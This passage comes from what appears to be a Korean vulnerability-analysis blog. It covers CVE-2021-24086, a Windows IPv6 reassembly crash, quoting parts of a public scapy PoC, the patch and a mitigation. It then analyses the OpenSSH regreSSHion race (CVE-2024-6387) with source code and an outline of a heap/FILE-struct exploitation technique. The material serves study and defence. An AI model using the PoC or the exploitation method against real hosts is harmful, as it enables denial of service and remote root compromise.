이때 문제점이 발생합니다. 만약 BytesNeeded == 0x1FFFF인 상황이 발생하면 어떻게 될까요? 위에서 NetioRetreatNetBuffer에 의해서 할당한 메모리의 크기는 0xFFFF지만 NdisGetDataBuffer에서는 0x1FFFF를 요구하게됩니다. 할당된 메모리보다 사용을 위해 요구하는 메모리의 크기가 더 크면 NdisGetDataBuffer는 어떻게 행동하는지 문서를 확인해봅시다.

Return value NdisGetDataBuffer returns a pointer to the start of the contiguous data or it returns NULL.

If the DataLength member of the NET_BUFFER_DATA structure in the NET_BUFFER structure that the NetBuffer parameter points to is less than the value in >the BytesNeeded parameter, the return value is NULL.

할당된 메모리 길이(DataLength) 보다 파라미터로 요구한 BytesNeeded가 더 클 경우 NULL을 반환한다고 되어있습니다.

위에서 알아봤듯, 계산된 IPv6 헤더 크기(40) + 확장 헤더의 크기가 0xFFFF보다 커지는 상황이되면 BSOD가 발생합니다. 어떻게 이러한 패킷을 만들어내는지 PoC를 확인해봅시다.

PoC

현재 공개된 <a href="https://github.com/0vercl0k/CVE-2021-24086/blob/main/cve-2021-24086.py">PoC</a>를 확인해봅시다.

PoC 코드는 간단합니다. PoC에서는 공격을 위해서 <a href="https://media.blackhat.com/ad-12/Atlasis/bh-ad-12-security-impacts-atlasis-wp.pdf">중첩된 Fragment 패킷</a>을 이용합니다.

취약점 트리거를 위해 다음과 같이 거대한 헤더를 갖는 Reassemble 패킷을 만들어냅니다.

reassembled_pkt = IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / ... \
        / IPv6ExtHdrFragment(
            id = second_pkt_id, m = 1,
            nh = 17, offset = 0
        ) \
        / UDP(dport = 31337, sport = 31337, chksum=0x7e7f)

다음은 재조립을 유도하기 위해서 이후 재조립에 사용될 패킷을 전송합니다.

    sendp(frags, iface= args.iface)

    reassembled_pkt_2 = Ether() \
        / IPv6(dst = args.target) \
        / IPv6ExtHdrFragment(id = second_pkt_id, m = 0, offset = 1, nh = 17) \
        / 'doar-e ftw'

    sendp(reassembled_pkt_2, iface = args.iface)

이를 통해 길이가 0xFFFF가 넘는 재조립 패킷을 만들 수 있습니다.

다음과 같이 0xFFE8 + 0x28 형태의 Nested fragment 패킷을 전송하여 길이 연산결과가 0x10010되게 만듭니다. <p align="center"><img src="/assets/img/CVE-2021-24086/big_unfrag.png"></p>

이때 잘림 현상에 의해서 NetioRetreatNetBuffer로 전달되는 메모리 할당 길이는 0x10이 되고 <p align="center"><img src="/assets/img/CVE-2021-24086/call_NetioRetreatNetBuffer.png"></p>

NdisGetDataBuffer로 요구하는 데이터의 크기는 0x10010이됩니다. 따라서 NdisGetDataBuffer는 NULL을 반환하게되고 NULL 포인터 역참조가 발생합니다. <p align="center"><img src="/assets/img/CVE-2021-24086/call_NdisGetDataBuffer.png"></p>

Video

Patch

Ipv6pReassembleDatagram의 코드가 다음과 같이 패치된 것을 볼 수 있습니다. <p align="center"><img src="/assets/img/CVE-2021-24086/patched.png"></p>

해당 코드에서 나타나있는 v30은 BytesNeeded를 구할 때 사용한 v3(확장 헤더 영역의 길이)와 데이터 길이로 구성되는 재조합된 패킷의 총 길이를 의미합니다.

이 길이가 0xFFFF가 넘어갈 때 해당 재조립 패킷을 폐기시켜 앞서 알아본 바이트 잘림에 의한 NdisGetDataBuffer가 NULL을 반환하는 상황을 방지합니다.

Mitigation

취약점은 해당 취약점에 대한 보안 업데이트를 다운로드 받아 적용하거나 IPv6의 재조립 패킷을 처리하는 중 발생하기 때문에 다음과 같이 IPv6의 재조립 기능을 비활성화시켜 취약점을 완화시킬 수도 있습니다.

Netsh int ipv6 set global reassemblylimit=0

References

<a href="https://doar-e.github.io/blog/2021/04/15/reverse-engineering-tcpipsys-mechanics-of-a-packet-of-the-death-cve-2021-24086/">https://doar-e.github.io/blog/2021/04/15/reverse-engineering-tcpipsys-mechanics-of-a-packet-of-the-death-cve-2021-24086/</a>
<a href="https://blog.quarkslab.com/analysis-of-a-windows-ipv6-fragmentation-vulnerability-cve-2021-24086.html">https://blog.quarkslab.com/analysis-of-a-windows-ipv6-fragmentation-vulnerability-cve-2021-24086.html</a>

CVE-2024-6387/CVE-2006-5051/CVE-2008-4109

Mon, 14 Oct 2024 15:00:00 GMT

Intro

TOOR 팀 활동을 하며 분석하게된 OpenSSH 원데이 취약점에 관한 글입니다. <p align="center"><img src="/assets/img/toor.png"/></p>

CVE-2024-6387은 7월 1일에 공개된 <a href="https://en.wikipedia.org/wiki/Qualys">Qualys</a>에서 발견하고 OpenSSH 버전 9.8/9.8p1에서 패치된 취약점입니다. CVE-2024-6387은 CVE-2006-5051의 보안 회귀(Security Regression)로, 패치되었던 취약점이 잘못된 패치로 인해서 재발생한 케이스입니다. CVE-2006-5051의 보안 회귀 취약점이기 때문에 해당 취약점은 "RegreSSHion"이란 이름으로 불리고 있습니다.

두 취약점 모두 glibc를 기반으로둔 리눅스 시스템 프로그램인 OpenSSH의 서버 프로그램에 존재하는 SIGALRM 시그널 핸들러에서 Async-signal-unsafe 함수를 사용하여 발생하게 되는 취약점입니다. 이로인해 레이스 컨디션이 발생할 수 있습니다. 결과적으론 해당 취약점으로 인해 root 권한으로 대상 서버에 대한 RCE가 가능해집니다.

본 글은 선행 연구를 진행하신 다른 연구원분들의 글들을 읽고 제 나름 분석을 진행하며 취약점을 공부하며 이해하고 정리해본 결과로 작성하게된 글입니다. 나름의 분석을 해봤지만 맞지 않는 부분이 있을 수 있으며, 만약 이를 발견하셨을 시 피드백해주시면 적극 반영하도록 하겠습니다. 취약점 및 PoC 분석에 많은 도움이된 자료는 다음과 같습니다.

<a href="https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt">https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt</a>

Vuln

CVE-ID : CVE-2024-6387
CWE : <a href="http://cwe.mitre.org/data/definitions/362.html">CWE-362</a>, <a href="http://cwe.mitre.org/data/definitions/364.html">CWE-364</a>
영향 받는 버전 <table> <tr> <th bgcolor="#00ff7f" style="color:black">취약하지 않은 버전</th> <th bgcolor="#fa8072" style="color:black">취약한 버전</th> </tr> </table> <table> <tr> <th> Release </th> <th> Status </th> <th> Date </th> </tr> <tr> <td bgcolor="#fa8072" style="color:black"> < 4.4p1 </td> <td> CVE-2006-5051 또는 CVE-2008-4109에 대한 패치가 적용되지 않았을 경우 취약 </td> <td> 2006년 9월 27일 이전 </td> </tr> <tr> <td bgcolor="#00ff7f" style="color:black"> 4.4p1 ≤ OpenSSH < 8.5p1 </td> <td> Mitigation 적용으로 취약하지 않음 </td> <td> 2006년 9월 27일 ~ 2021년 3월 3일 </td> </tr> <tr> <td bgcolor="#fa8072" style="color:black"> 8.5p1 ≤ OpenSSH < 9.8p1 </td> <td> 취약점 재발 </td> <td> 2021년 3월 3일 ~ 2024년 7월 1일 </td> </tr> <tr> <td bgcolor="#00ff7f" style="color:black"> ≥ 9.8p1 </td> <td> 회귀에 대한 패치 적용 </td> <td> 2024년 7월 1일 이후 </td> </tr> </table> Reference : <a href="https://en.wikipedia.org/wiki/RegreSSHion">https://en.wikipedia.org/wiki/RegreSSHion</a>

RCA

CVE-2024-6387에 대해 알아보기 전 먼저 CVE-2006-5051에 대해서 알아보고 해당 취약점이 어떻게 재발생하게되었는지 알아봅시다.

CVE-2006-5051

OpenSSH의 코드 중 sshd.c에 존재하는 <a href="https://github.com/openssh/openssh-portable/blob/V_4_3/sshd.c#L307">grace_alarm_handler</a>는 사용자가 로그인 요청을 하고나서 일정 시간이 지나도록 로그인을 하지 않으면 발생하는 SIGALRM 시그널을 처리하는 함수입니다.

grace_alarm_handler는 sshd의 <a href="https://github.com/openssh/openssh-portable/blob/V_4_3/sshd.c#L1685">main 함수에서 설정</a>되고 sshd_config 지시어(LoginGraceTime)로 설정된 일정 시간이 지나게되었을 때 발생하는 SIGALRM 시그널을 처리하기 위해 호출됩니다.

다음과 같이 로그인 시도 후 LoginGraceTime이 설정되어있다면 인증 시간 초과(SIGALRM)에 의해 grace_alarm_handler가 호출됩니다.

영상에 나온 OpenSSH 버전은 9.2p로 grace_alarm_handler의 작동을 보여드리기 위해 사용되었습니다.

OpenSSH 4.3 버전의 <a href="https://github.com/openssh/openssh-portable/blob/V_4_3/sshd.c#L307">grace_alarm_handler</a>는 다음과 같이 작성되어있습니다.

/*
 * Signal handler for the alarm after the login grace period has expired.
 */
static void
grace_alarm_handler(int sig)
{
	/* XXX no idea how fix this signal handler */

	if (use_privsep && pmonitor != NULL && pmonitor->m_pid > 0)
		kill(pmonitor->m_pid, SIGALRM);

	/* Log error and exit. */
	fatal("Timeout before authentication for %s", get_remote_ipaddr());
}

로깅을 위해 fatal 함수를 호출하는 모습을 볼 수 있습니다. fatal 함수는 <a href="https://github.com/openssh/openssh-portable/blob/V_4_3/fatal.c">fatal.c</a>에 다음과 같이 작성되어있습니다.

void
fatal(const char *fmt,...)
{
	va_list args;
	va_start(args, fmt);
	do_log(SYSLOG_LEVEL_FATAL, fmt, args);
	va_end(args);
	cleanup_exit(255);
}

fatal 함수는 다시 로깅을 위해 log.c에 위치한 <a href="https://github.com/openssh/openssh-portable/blob/V_4_3/log.c#L286">do_log</a> 함수를 호출합니다. 이제 do_log 코드를 확인해봅시다.

void
do_log(LogLevel level, const char *fmt, va_list args)
{
...
		syslog(pri, "%.500s", fmtbuf);
...
	}
}

해당 코드에서 syslog를 호출하는 모습을 볼 수 있습니다. 이때 glibc의 syslog는 메모리 버퍼 스트림을 생성하기 위해서 malloc을 호출하고 함수의 끝에서는 해당 메모리를 정리하기 위해서 free함수를 호출합니다. 이때의 <a href="https://stackoverflow.com/questions/3941271/why-are-malloc-and-printf-said-as-non-reentrant">malloc</a>과 free는 비동기 시그널에 안전하지 않기 때문에 시그널 처리 함수에서는 호출되어선 안되지만 syslog의 호출로 인해서 취약점이 발생한 상황입니다.

Async-signal-safe function

Async-signal-safe 함수란 시그널 핸들러 내에서 안전하게 호출할 수 있는 함수를 뜻합니다.

시그널 핸들러에서 호출하는 함수가 async signal safety(비동기 시그널 안전성)이 없을 경우 취약점이 발생할 수 있습니다.

<a href="https://stackoverflow.com/questions/3941271/why-are-malloc-and-printf-said-as-non-reentrant">https://stackoverflow.com/questions/3941271/why-are-malloc-and-printf-said-as-non-reentrant</a>

CVE-2006-5051은 async-signal-unsafe 함수를 호출해서 발생합니다. 바로 직접적인 호출은 아니며 위에서 살펴본대로 다음과 같은 과정으로 async-signal-unsafe 함수가 호출됩니다.

이와 같은 SIGALRM 핸들러의 허점을 이용해 malloc/free 함수 처리 중 특정 지점에서의 처리를 중단시키고 malloc/free에 재진입하여 익스플로잇을 성공시킵니다.

CVE-2006-5051 Patch (Incorrect fix)

위에서 알아본 취약점은 CVE-2006-5051 패치에 의해 다음과 같이 수정되었습니다.

OpenSSH 4.4 버전의 코드는 다음과 같습니다.

먼저 sshd.c에서의 grace_alarm_handler는 다음과 같이 변경되었습니다.

4.3p2 <p align="center"><img width="100%" src="/assets/img/CVE-2024-6387/grace_alarm_handler_4.3p2.png"/></p>

4.4 <p align="center"><img width="100%" src="/assets/img/CVE-2024-6387/grace_alarm_handler_4.4.png"/></p>

4.4에선 sigdie를 호출하는 형태로 바뀌었습니다. sigdie는 이전 버전과 동일하게 do_log를 호출합니다.

void
sigdie(const char *fmt,...)
{
	va_list args;

	va_start(args, fmt);
	do_log(SYSLOG_LEVEL_FATAL, fmt, args);
	va_end(args);
	_exit(1);
}

하지만 do_log에서 여전히 syslog를 호출하는 모습이 보입니다.

...

void
do_log(LogLevel level, const char *fmt, va_list args)
{
...
		syslog(pri, "%.500s", fmtbuf);
...
}

잘못된 패치가 이루어졌고 해당 취약점은 여전히 존재하는 상태가 됩니다.

CVE-2008-4109 Patch

앞서 알아본 취약점은 <a href="https://nvd.nist.gov/vuln/detail/CVE-2008-4109">CVE-2008-4109</a> 패치에서 비로소 수정됩니다.

A certain Debian patch for OpenSSH before 4.3p2-9etch3 on etch; before 4.6p1-1 on sid and lenny; and on other distributions such as SUSE uses functions that are not async-signal-safe in the signal handler for login timeouts, which allows remote attackers to cause a denial of service (connection slot exhaustion) via multiple login attempts. NOTE: this issue exists because of an incorrect fix for CVE-2006-5051.

OpenSSH 4.5p1 grace_alarm_handler

/*
 * Signal handler for the alarm after the login grace period has expired.
 */
/*ARGSUSED*/
static void
grace_alarm_handler(int sig)
{
	if (use_privsep && pmonitor != NULL && pmonitor->m_pid > 0)
		kill(pmonitor->m_pid, SIGALRM);

	/* Log error and exit. */
	sigdie("Timeout before authentication for %s", get_remote_ipaddr());
}

OpenSSH 4.5p1 sigdie

void
sigdie(const char *fmt,...)
{
#ifdef DO_LOG_SAFE_IN_SIGHAND
	va_list args;

	va_start(args, fmt);
	do_log(SYSLOG_LEVEL_FATAL, fmt, args);
	va_end(args);
#endif
	_exit(1);
}

grace_alarm_handler에서 호출되는 sigdie에는 전처리 코드가 삽입되어 DO_LOG_SAFE_IN_SIGHAND를 정의하지 않는이상 do_log를 호출하는 일은 없어졌습니다.

CVE-2024-6387 (RegreSSHion)

앞서 살펴본 취약점인 CVE-2006-5051과 CVE-2008-4109는 위에서 적용된 #ifdef DO_LOG_SAFE_IN_SIGHAND가 실수로 제거되어 <a href="https://github.com/openssh/openssh-portable/commit/752250c">commit 752250c</a>(OpenSSH 8.5p1)에 의해서 부활하게됩니다.

코드가 어떻게 바뀌었는지 확인해봅시다.

grace_alarm_handler

/*
 * Signal handler for the alarm after the login grace period has expired.
 */
/*ARGSUSED*/
static void
grace_alarm_handler(int sig)
{
	if (use_privsep && pmonitor != NULL && pmonitor->m_pid > 0)
		kill(pmonitor->m_pid, SIGALRM);

	/*
	 * Try to kill any processes that we have spawned, E.g. authorized
	 * keys command helpers.
	 */
	if (getpgid(0) == getpid()) {
		ssh_signal(SIGTERM, SIG_IGN);
		kill(0, SIGTERM);
	}

	/* XXX pre-format ipaddr/port so we don't need to access active_state */
	/* Log error and exit. */
	sigdie("Timeout before authentication for %s port %d",
	    ssh_remote_ipaddr(the_active_state),
	    ssh_remote_port(the_active_state));
}

여기서 sigdie는 매크로로 sshsigdie로 확장됩니다.

#define sigdie(...)		sshsigdie(__FILE__, __func__, __LINE__, 0, SYSLOG_LEVEL_ERROR, NULL, __VA_ARGS__)

sshsigdie는 다음과 같이 정의되어있습니다. 이때 sshsigdie는 sshlogv를 호출합니다.

void
sshsigdie(const char *file, const char *func, int line, int showfunc,
    LogLevel level, const char *suffix, const char *fmt, ...)
{
	va_list args;

	va_start(args, fmt);
	sshlogv(file, func, line, showfunc, SYSLOG_LEVEL_FATAL,
	    suffix, fmt, args);
	va_end(args);
	_exit(1);
}

결과적으로 sshlogv는 그전에 패치로 호출되지 않게했던 do_log를 다시 호출하게됩니다.

void
sshlogv(const char *file, const char *func, int line, int showfunc,
    LogLevel level, const char *suffix, const char *fmt, va_list args)
{
	char tag[128], fmt2[MSGBUFSIZ + 128];
	int forced = 0;
	const char *cp;
	size_t i;

	snprintf(tag, sizeof(tag), "%.48s:%.48s():%d",
	    (cp = strrchr(file, '/')) == NULL ? file : cp + 1, func, line);
	for (i = 0; i < nlog_verbose; i++) {
		if (match_pattern_list(tag, log_verbose[i], 0) == 1) {
			forced = 1;
			break;
		}
	}

	if (log_handler == NULL && forced)
		snprintf(fmt2, sizeof(fmt2), "%s: %s", tag, fmt);
	else if (showfunc)
		snprintf(fmt2, sizeof(fmt2), "%s: %s", func, fmt);
	else
		strlcpy(fmt2, fmt, sizeof(fmt2));

	do_log(file, func, line, level, forced, suffix, fmt2, args);
}

do_log는 여전히 syslog를 호출하고 있으며 glibc의 syslog는 여전히 비동기 시그널에 대해 안전하지 않기 때문에 보안 회귀가 발생합니다.

static void
do_log(const char *file, const char *func, int line, LogLevel level,
    int force, const char *suffix, const char *fmt, va_list args)
{
...
		syslog(pri, "%.500s", fmtbuf);
...
}

이로인해 해당 패치가 도입된 8.5p1부터 9.8p1 패치가 적용되기 이전까지 glibc-based 리눅스 시스템에서 취약점이 발생하게 됩니다.

<p align="center"><img src="/assets/img/CVE-2024-6387/regresshion_attack.png"/><a href="https://upload.wikimedia.org/wikipedia/commons/8/83/Resultant.png">https://upload.wikimedia.org/wikipedia/commons/8/83/Resultant.png</a></p>

Exploit

본 취약점을 제보한 Qualys는 위 취약점(CVE-2024-6387)의 악용방법을 32bit glibc기반의 리눅스에서 입증했습니다. 또한 다른 버전에서도 악용 가능 지점을 찾아 특정 버전에 대한 악용 가능성을 연구를 진행했습니다.

연구 개요는 다음과 같습니다.

SSH-2.0-OpenSSH_3.4p1 Debian 1:3.4p1-1.woody.3 (Debian 3.0r6, from 2005)

DSA의 공개 키 파싱 지점에서 호출되는 free를 취약점을 이용해 중간에 처리를 중단시키고, 완전한 처리가 이루어지지 않은 heap chunk에 대해 grace_alarm_handler에 의해 호출되는 free를 통해 공격을 수행합니다.

해당 공격을 성공시키기위해 600초의 로그인 유예 시간 동안 10개의 연결(MaxStartups)을 수용할 경우 약 10,000번의 시도가 필요하며 원격 루트 쉘을 얻기 위해 평균적으로 약 1주일 정도가 소요됩니다.

SSH-2.0-OpenSSH_4.2p1 Debian-7ubuntu3 (Ubuntu 6.06.1, from 2006)

해당 버전의 연구에선 CVE-2006-5051에서 언급된 GSSAPI를 GSSAPI 기능은 기본적으로 활성화되어있지 않기 때문에 취약점을 악용할 포인트로 사용하지 않고 기본적으로 활성화된 PAM 기능을 이용합니다.

해당 공격을 성공시키기위해 120초의 로그인 유예 시간 동안 10개의 연결(MaxStartups)을 수용할 경우 약 10,000번의 시도가 필요하며 원격 루트 쉘을 얻기 위해 약 1~2일 정도가 소요됩니다.

SSH-2.0-OpenSSH_9.2p1 Debian-2.+deb12u2 (Debian 12.5.0 from 2024)

🧪 아래 서술된 Exploit은 _vtable_offset을 사용하지 않는 경우 _IO_wfile_underflow의 유도가 불가능하기때문에 glibc 32bit에서만 유효합니다.

<details> <summary>⁉️</summary> <div markdown="1"> 다음 glibc-2.36의 소스 코드의 주석을 확인해봅시다.

libioP.h

/* Setting this macro to 1 enables the use of the _vtable_offset bias
   in _IO_JUMPS_FUNCS, below.  This is only needed for new-format
   _IO_FILE in libc that must support old binaries (see oldfileops.c).  */
#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1) && !defined _IO_USE_OLD_IO_FILE
# define _IO_JUMPS_OFFSET 1
#else
# define _IO_JUMPS_OFFSET 0
#endif

위와 같은 경우 컴파일 설정에 따라 _IO_JUMPS_OFFSET을 1로 만들어 활성화하거나 0으로 만들어 일부 매크로를 다르게 만들 수 있습니다.

이에따라 다음과 같은 매크로에 차이가 생깁니다.

#if _IO_JUMPS_OFFSET
# define _IO_JUMPS_FUNC(THIS) \
  (IO_validate_vtable                                                   \
   (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS)	\
			     + (THIS)->_vtable_offset)))
# define _IO_JUMPS_FUNC_UPDATE(THIS, VTABLE)				\
  (*(const struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS)	\
				  + (THIS)->_vtable_offset) = (VTABLE))
# define _IO_vtable_offset(THIS) (THIS)->_vtable_offset
#else
# define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))
# define _IO_JUMPS_FUNC_UPDATE(THIS, VTABLE) \
  (_IO_JUMPS_FILE_plus (THIS) = (VTABLE))
# define _IO_vtable_offset(THIS) 0
#endif

위에서 본 _IO_JUMPS_OFFSET을 0으로 만든다면 설정에 의해 _IO_JUMPS_FUNC에서 _vtable_offset 필드를 사용하지 않게되고 이로인해서 공격이 통하지 않을 수 있습니다.

이는 원 연구글에도 나와있으며 따라서 아래에 설명하는 공격은 i386 glibc에만 해당하게됩니다.

Eventually, we devised the following technique (which seems to be specific to the i386 glibc -- the amd64 glibc does not seem to use _vtable_offset at all):

-- [접은글의 끝입니다] -- </div> </details>

해당 버전의 연구에선 syslog를 호출하는 점을 이용합니다. PoC에선 현재 환경에서의 취약성을 종합해서 악용하기 때문에 자세히 알아봅시다.

연구에 사용된 Debian은 i386에 경우 glibc(2.36)가 항상 0xb7200000 또는 0xb7400000에 매핑되기 때문에 절반의 확률로 PIE를 무력화 시킬 수 있습니다.

앞서 알아본 순서로 syslog가 grace_alarm_handler에 의해서 호출됩니다.

연구에 사용된 Debian버전의 glibc(2.36)는 <a href="https://sourceware.org/git/?p=glibc.git;a=commit;h=a15d53e2de4c7d83bda251469d92a3c7b49a90db">단일 스레드 환경에대한 락을 진행하지 않기 때문</a>에 취약점을 성공적으로 악용할 수 있습니다.

이를 이용해 malloc 호출을 SIGALRM을 통해 중간에 중단시킨 후 SIGALRM에서 사용하는 malloc을 통해 완전히 처리되지 않은 heap chunk를 악용합니다.

해당 공격을 성공시키위해 120초의 로그인 유예 시간 동안 100개의 연결(MaxStartups)을 수용할 경우 원격 루트 쉘을 얻기 위해 약 6~8시간이 소요됩니다.

glibc 2.36에서 syslog에서는 다음과 같은 흐름으로 fopen을 호출해 FILE 구조체를 만들고 있습니다. <p align="center"><img width="100%" src="/assets/img/CVE-2024-6387/call_graph.png"/></p>

<details> <summary>/misc/syslog.c:__syslog,__vsyslog_internal</summary> <div markdown="1">

/*
 * syslog, vsyslog --
 *	print message on log file; output is intended for syslogd(8).
 */
void
__syslog (int pri, const char *fmt, ...)
{
  va_list ap;

  va_start (ap, fmt);
  __vsyslog_internal (pri, fmt, ap, 0);
  va_end (ap);
}
ldbl_hidden_def (__syslog, syslog)
ldbl_strong_alias (__syslog, syslog)

void
__vsyslog_internal (int pri, const char *fmt, va_list ap,
		    unsigned int mode_flags)
{
...
  struct tm *now_tmp = __localtime64_r (&now, &now_tm);
...
}

</div> </details> <details> <summary>/time/localtime.c:__localtime64_r</summary> <div markdown="1">

/* Return the `struct tm' representation of *T in local time,
   using *TP to store the result.  */
struct tm *
__localtime64_r (const __time64_t *t, struct tm *tp)
{
  return __tz_convert (*t, 1, tp);
}

</div> </details> <details> <summary>/time/tzset.c:__tz_convert,tzset_internal</summary> <div markdown="1">

/* Return the `struct tm' representation of TIMER in the local timezone.
   Use local time if USE_LOCALTIME is nonzero, UTC otherwise.  */
struct tm *
__tz_convert (__time64_t timer, int use_localtime, struct tm *tp)
{
...
  /* Update internal database according to current TZ setting.
     POSIX.1 8.3.7.2 says that localtime_r is not required to set tzname.
     This is a good idea since this allows at least a bit more parallelism.  */
  tzset_internal (tp == &_tmbuf && use_localtime);
...
}
...
/* Interpret the TZ envariable.  */
static void
tzset_internal (int always)
{
...
  /* Try to read a data file.  */
  __tzfile_read (tz, 0, NULL);
...
}

</div> </details> <details> <summary>/time/tzfile.c:__tzfile_read</summary> <div markdown="1">

void
__tzfile_read (const char *file, size_t extra, char **extrap)
{
...
  /* Note the file is opened with cancellation in the I/O functions
     disabled and if available FD_CLOEXEC set.  */
  f = fopen (file, "rce");
  if (f == NULL)
    goto ret_free_transitions;
...
 read_again:
  if (__builtin_expect (__fread_unlocked ((void *) &tzhead, sizeof (tzhead),
					  1, f) != 1, 0)
      || memcmp (tzhead.tzh_magic, TZ_MAGIC, sizeof (tzhead.tzh_magic)) != 0)
    goto lose;
}

</div> </details>

위와 같은 흐름에 의해서 FILE 구조체가 힙 메모리에 생성됩니다.

취약점을 이용하여 특정 힙 청크를 겹치게 만든 후 이를 덮어쓰는 과정으로 공격을 진행합니다.

보고서에 나온 내용에 따르면 힙 손상을 통해 __tzfile_read()에서 할당된 FILE 구조체의 _vtable_offset 필드 덮어써 함수 포인터에 의해 호출되는 함수를 임의로 조작하여 원하는 명령어를 실행할 수 있게됩니다.

/* The tag name of this struct is _IO_FILE to preserve historic
   C++ mangled names for functions taking FILE* arguments.
   That name should not be used in new code.  */
struct _IO_FILE
{
...
  signed char _vtable_offset;
...
};

이렇게 오염된 메타데이터는 위 코드에서 살펴본 __tzfile_read에서 __fread_unlocked를 호출하는 과정에서 원하는 코드를 실행할 수 있게 만듭니다.

__fread_unlocked 함수는 다음과 같은 호출 흐름을 갖습니다. <p align="center"><img width="100%" src="/assets/img/CVE-2024-6387/call_graph2.png"/></p> <details> <summary>libio/iofread_u.c:_IO_jump_t</summary> <div markdown="1">

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
};

</div> </details>

<details> <summary>libio/iofread_u.c:__fread_unlocked</summary> <div markdown="1">

size_t
__fread_unlocked (void *buf, size_t size, size_t count, FILE *fp)
{
  size_t bytes_requested = size * count;
  size_t bytes_read;
  CHECK_FILE (fp, 0);
  if (bytes_requested == 0)
    return 0;
  bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);
  return bytes_requested == bytes_read ? count : bytes_read / size;
}

</div> </details>

<details> <summary>libio/genops.c:_IO_sgetn</summary> <div markdown="1">

size_t
_IO_sgetn (FILE *fp, void *data, size_t n)
{
  /* FIXME handle putback buffer here! */
  return _IO_XSGETN (fp, data, n);
}
libc_hidden_def (_IO_sgetn)

</div> </details>

<details> <summary>libio/libioP.h:_IO_XSGETN(FP, DATA, N), _IO_WXSGETN(FP, DATA, N)</summary> <div markdown="1">

/* The 'xsgetn' hook reads upto N characters into buffer DATA.
   Returns the number of character actually read.
   It matches the streambuf::xsgetn virtual function. */
typedef size_t (*_IO_xsgetn_t) (FILE *FP, void *DATA, size_t N);
#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)
#define _IO_WXSGETN(FP, DATA, N) WJUMP2 (__xsgetn, FP, DATA, N)

</div> </details>

<details> <summary>libio/fileops.c:_IO_file_xsgetn</summary> <div markdown="1">

size_t
_IO_file_xsgetn (FILE *fp, void *data, size_t n)
{
  size_t want, have;
  ssize_t count;
  char *s = data;

  want = n;

  if (fp->_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp->_IO_save_base != NULL)
	{
	  free (fp->_IO_save_base);
	  fp->_flags &= ~_IO_IN_BACKUP;
	}
      _IO_doallocbuf (fp);
    }

  while (want > 0)
    {
      have = fp->_IO_read_end - fp->_IO_read_ptr;
      if (want <= have)
	{
	  memcpy (s, fp->_IO_read_ptr, want);
	  fp->_IO_read_ptr += want;
	  want = 0;
	}
      else
	{
	  if (have > 0)
	    {
	      s = __mempcpy (s, fp->_IO_read_ptr, have);
	      want -= have;
	      fp->_IO_read_ptr += have;
	    }

	  /* Check for backup and repeat */
	  if (_IO_in_backup (fp))
	    {
	      _IO_switch_to_main_get_area (fp);
	      continue;
	    }

	  /* If we now want less than a buffer, underflow and repeat
	     the copy.  Otherwise, _IO_SYSREAD directly to
	     the user buffer. */
	  if (fp->_IO_buf_base
	      && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
	    {
	      if (__underflow (fp) == EOF)
		break;

	      continue;
	    }

	  /* These must be set before the sysread as we might longjmp out
	     waiting for input. */
	  _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
	  _IO_setp (fp, fp->_IO_buf_base, fp->_IO_buf_base);

	  /* Try to maintain alignment: read a whole number of blocks.  */
	  count = want;
	  if (fp->_IO_buf_base)
	    {
	      size_t block_size = fp->_IO_buf_end - fp->_IO_buf_base;
	      if (block_size >= 128)
		count -= want % block_size;
	    }

	  count = _IO_SYSREAD (fp, s, count);
	  if (count <= 0)
	    {
	      if (count == 0)
		fp->_flags |= _IO_EOF_SEEN;
	      else
		fp->_flags |= _IO_ERR_SEEN;

	      break;
	    }

	  s += count;
	  want -= count;
	  if (fp->_offset != _IO_pos_BAD)
	    _IO_pos_adjust (fp->_offset, count);
	}
    }

  return n - want;
}
libc_hidden_def (_IO_file_xsgetn)

</div> </details>

<details> <summary>libio/genops.c</summary> <div markdown="1">

int
__underflow (FILE *fp)
{
  if (_IO_vtable_offset (fp) == 0 && _IO_fwide (fp, -1) != -1)
    return EOF;

  if (fp->_mode == 0)
    _IO_fwide (fp, -1);
  if (_IO_in_put_mode (fp))
    if (_IO_switch_to_get_mode (fp) == EOF)
      return EOF;
  if (fp->_IO_read_ptr < fp->_IO_read_end)
    return *(unsigned char *) fp->_IO_read_ptr;
  if (_IO_in_backup (fp))
    {
      _IO_switch_to_main_get_area (fp);
      if (fp->_IO_read_ptr < fp->_IO_read_end)
	return *(unsigned char *) fp->_IO_read_ptr;
    }
  if (_IO_have_markers (fp))
    {
      if (save_for_backup (fp, fp->_IO_read_end))
	return EOF;
